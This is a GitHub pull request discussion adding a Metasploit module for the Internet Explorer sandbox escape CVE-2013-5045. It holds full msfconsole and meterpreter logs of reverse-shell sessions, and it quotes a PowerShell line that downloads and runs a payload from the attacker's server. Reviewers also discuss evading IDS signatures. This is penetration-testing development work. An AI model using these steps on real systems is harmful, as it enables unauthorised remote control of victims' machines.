Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for CVE-2013-5045 #3403

Merged
merged 8 commits into from
Jun 26, 2014

Conversation

jvazquez-r7
Copy link
Contributor

Requirements

rapid7/meterpreter#84
#3402

Verification

Easy verification steps:

  • Install Windows 7 / IE8 (no patches)
  • Run the handler to get a meterpreter session in the target machine
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.143:49847) at 2014-05-29 11:08:36 -0500

  • migrate the session to Low Integrity IE process
meterpreter > migrate 3588
[*] Migrating from 568 to 3588...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...

  • Use the msf module to escape the sandbox and get a Medium Integrity session
msf exploit(handler) > use exploit/windows/local/ms13_097_ie_registry_symlink
msf exploit(ms13_097_ie_registry_symlink) > set session 1
session => 1
msf exploit(ms13_097_ie_registry_symlink) > set srvhost 172.16.158.1
srvhost => 172.16.158.1
msf exploit(ms13_097_ie_registry_symlink) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms13_097_ie_registry_symlink) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms13_097_ie_registry_symlink) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Running module against WIN-RNJ7NBRK9L7
[*] Using URL: http://172.16.158.1:8080/EgczbxcpC5l
[*] Server started.
[*] Loading Exploit Library...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending window close html...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending window close html...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending hta...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending psh payload...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.143:49852) at 2014-05-29 11:09:39 -0500
[*] Server stopped.

  • Verify Medium Integrity in the new session
meterpreter > pwd
C:\Users\Juan Vazquez\Desktop
meterpreter > mkdir msf_pwned
Creating directory: msf_pwned
meterpreter > ls msf_pwned

Listing: msf_pwned
==================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2014-05-29 11:09:55 -0500  .
40555/r-xr-xr-x  0     dir   2014-05-29 11:09:55 -0500  ..

meterpreter > exit

def on_request_uri(cli, request)
if request.uri =~ /\.hta$/
print_status("Sending hta...")
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}/#{rand_text_alpha(4 + rand(4))}.psh'))"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there any reason you cant use cmd_psh_payload(payload.encoded) to fire the payload up?

Presumably you then wouldn't require the additional network traffic.

@OJ OJ mentioned this pull request May 29, 2014
5 tasks
@OJ
Copy link
Contributor

OJ commented May 29, 2014

FYI, swapped the comment/repro steps/verification with #3404 as they were accidentally mixed up.

@jvazquez-r7
Copy link
Contributor Author

Thanks @OJ!

@Meatballs1
Copy link
Contributor

My understanding of this exploit is that if you added powershell.exe (instead of mshta.exe) as an elevating executable you could just CreateProcess("powershell.exe" "-C blah") and not have to have the web server running?

@OJ
Copy link
Contributor

OJ commented May 29, 2014

Tested successfully on Win7 / IE8:

msf exploit(handler) > exploit

[*] Started reverse handler on 10.1.10.40:8000
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 10.1.10.40
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.40:37326) at 2014-05-30 08:24:59 +1000

meterpreter > migrate 1556
[*] Migrating from 1756 to 1556...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploits/windows/local/ms13_097_ie_registry_symlink
msf exploit(ms13_097_ie_registry_symlink) > set session 1
session => 1
msf exploit(ms13_097_ie_registry_symlink) > set SRVHOST 10.1.10.40
SRVHOST => 10.1.10.40
msf exploit(ms13_097_ie_registry_symlink) > set SRVPORT 4444
SRVPORT => 4444
msf exploit(ms13_097_ie_registry_symlink) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms13_097_ie_registry_symlink) > set LHOST 10.1.10.40
LHOST => 10.1.10.40
msf exploit(ms13_097_ie_registry_symlink) > set LPORT 5555
LPORT => 5555
msf exploit(ms13_097_ie_registry_symlink) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.1.10.40:5555
[*] Running module against WIN-IV7GVO41GAT
[*] Using URL: http://10.1.10.40:4444/FLsCplXFiR
[*] Server started.
[*] Loading Exploit Library...
[*] 10.1.10.40       ms13_097_ie_registry_symlink - Sending window close html...
[*] 10.1.10.40       ms13_097_ie_registry_symlink - Sending window close html...
[*] 10.1.10.40       ms13_097_ie_registry_symlink - Sending hta...
[*] 10.1.10.40       ms13_097_ie_registry_symlink - Sending psh payload...
[*] Sending stage (770048 bytes) to 10.1.10.40
[*] Meterpreter session 2 opened (10.1.10.40:5555 -> 10.1.10.40:53582) at 2014-05-30 08:33:09 +1000
[*] Server stopped.

meterpreter > pwd
C:\Users\noob\Desktop
meterpreter > mkdir msf_pwned
Creating directory: msf_pwned
meterpreter > ls

Listing: C:\Users\noob\Desktop
==============================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40555/r-xr-xr-x   0      dir   2014-05-30 08:33:33 +1000  .
40777/rwxrwxrwx   0      dir   2014-05-30 08:21:09 +1000  ..
100666/rw-rw-rw-  282    fil   2014-05-30 08:21:09 +1000  desktop.ini
40777/rwxrwxrwx   0      dir   2014-05-30 08:33:33 +1000  msf_pwned

meterpreter >

@jvazquez-r7
Copy link
Contributor Author

@Meatballs1 because the mshta uses to live under the windows system directory, and had the feeling powershell can live in different locations depending on the version. Maybe I'm wrong because I suck on powershell :(. So was a little bit easier to write with mshta because of that. Since its an escape for the browser's sandbox I've the feeling is okey assuming you have output access from the browser.

@Meatballs1
Copy link
Contributor

Powershell lives in C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe for all versions afaik!

Poke @sempervictus @darkoperator

@darkoperator
Copy link
Contributor

Correct for the x86 version the x64 version would be in %WINDIR%\syswow64\WindowsPowerShell\v1.0\powershell.exe

All version live in the same v1.0 folder

On May 29, 2014, at 6:57 PM, Meatballs1 [email protected] wrote:

Powershell lives in C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe for all versions afaik!

Poke @sempervictus @darkoperator


Reply to this email directly or view it on GitHub.

@Meatballs1
Copy link
Contributor

The System32 path will always exist on x86 and x86_64 systems :D

@darkoperator
Copy link
Contributor

I know but one executable is x86 and the other is x64 so if you use it for injecting payloads, injecting in to or manipulating other stuff in the system it should be taken in to account in those cases.
On May 29, 2014, at 7:12 PM, Meatballs1 [email protected] wrote:

The System32 path will always exist on x86 and x86_64 systems :D


Reply to this email directly or view it on GitHub.

end
end

def get_dll
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is never called?

@todb-r7 todb-r7 added the module label May 30, 2014
@Meatballs1
Copy link
Contributor

@darkoperator but with the shiny powershell code it will autodetect what architecture it is in and compensate :D

@darkoperator
Copy link
Contributor

Ahhh cool good to know you guys integrated the powersploit stuff then

On May 30, 2014 5:18:55 PM GMT-04:00, Meatballs1 [email protected] wrote:

@darkoperator but with the shiny powershell code it will autodetect
what architecture it is in and compensate :D


Reply to this email directly or view it on GitHub:
#3403 (comment)

Sent from Kaiten Mail. Please excuse my brevity.

@Meatballs1
Copy link
Contributor

Well still pending ;)

@darkoperator
Copy link
Contributor

Ahh

On May 30, 2014 5:23:16 PM GMT-04:00, Meatballs1 [email protected] wrote:

Well still pending ;)


Reply to this email directly or view it on GitHub:
#3403 (comment)

Sent from Kaiten Mail. Please excuse my brevity.

@Meatballs1
Copy link
Contributor

The popup box appears:
untitled

If I don't select 'Don't show me the warning for this program' I have to Allow each attempt (3x).

Afterwards the keys are created so I can rexploit without the interaction but I thought this was supposed to have no user interaction?

@Meatballs1
Copy link
Contributor

jvazquez-r7#13 attempts to do away with MSHTA and the HTTPServer.

Currently the session.core.load_library doesn't have a return value or anything we can wait on. If the DLL was converted to RDLL then we could wait on the thread to return before trying to invoke our command.

@wchen-r7 wchen-r7 removed their assignment Jun 2, 2014
@jvazquez-r7
Copy link
Contributor Author

@Meatballs1 did a couple of comments on jvazquez-r7#13 for your review once you get a chance. Thanks.

@jvazquez-r7
Copy link
Contributor Author

@Meatballs1 finally redid jvazquez-r7#13 on my own, passing the PSH cmd payload via env variable, so the DLL takes care of all the exploitation, and you don't need to sync between module and the DLL. Like you said, witht he old load_library sync is hard. Also kept the HTTP Server to allow to provide JS to close windows created while exploitation, which is a feature I think is interesting. I guess @darkoperator is also happy with this exploitation method, even when I see some discussion about the architectures above.

@jvazquez-r7
Copy link
Contributor Author

ping @Meatballs1 @OJ, any of you interested on landing it? Any other stopper? thanks!

@Meatballs1
Copy link
Contributor

I haven't had a chance to test it yet, it also means more regression testing work for me after #2557 :p

@sempervictus
Copy link
Contributor

Quick glance over shows you guys doing a gsub on the CMD preceeding the PSH segment of the payload. I'd suggest avoiding that since we can (and in testing do) mutate the CMD arguments passed to PSH to avoid static IDS sigs on the wire.
Cool toy by the way, thanks :).

@wchen-r7
Copy link
Contributor

msf exploit(ms13_097_ie_registry_symlink) > set srvhost 10.6.0.217
srvhost => 10.6.0.217
msf exploit(ms13_097_ie_registry_symlink) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms13_097_ie_registry_symlink) > set lhost 10.6.0.217
lhost => 10.6.0.217
msf exploit(ms13_097_ie_registry_symlink) > rerun
[*] Reloading module...

[*] Started reverse handler on 10.6.0.217:4444 
[*] Running module against WIN-6NH0Q8CJQVM
[*] Using URL: http://10.6.0.217:8080/iJv2Pl6rtbOmD
[*] Server started.
[*] Loading Exploit Library...
[*] 10.6.0.167       ms13_097_ie_registry_symlink - Sending window close html...
[*] 10.6.0.167       ms13_097_ie_registry_symlink - Sending window close html...
[*] Sending stage (769536 bytes) to 10.6.0.167
[*] Meterpreter session 2 opened (10.6.0.217:4444 -> 10.6.0.167:49421) at 2014-06-26 13:46:31 -0500
[*] Server stopped.

meterpreter > pwd
C:\Users\sinn3r\Desktop
meterpreter > mkdir test
Creating directory: test
meterpreter > ls test

Listing: test
=============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2014-06-25 01:04:43 -0500  .
40555/r-xr-xr-x  0     dir   2014-06-25 01:04:43 -0500  ..

meterpreter >

@wchen-r7 wchen-r7 merged commit 372a12b into rapid7:master Jun 26, 2014
@jvazquez-r7 jvazquez-r7 deleted the msms13_097_ie_registry_symlink branch November 18, 2014 15:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

7 participants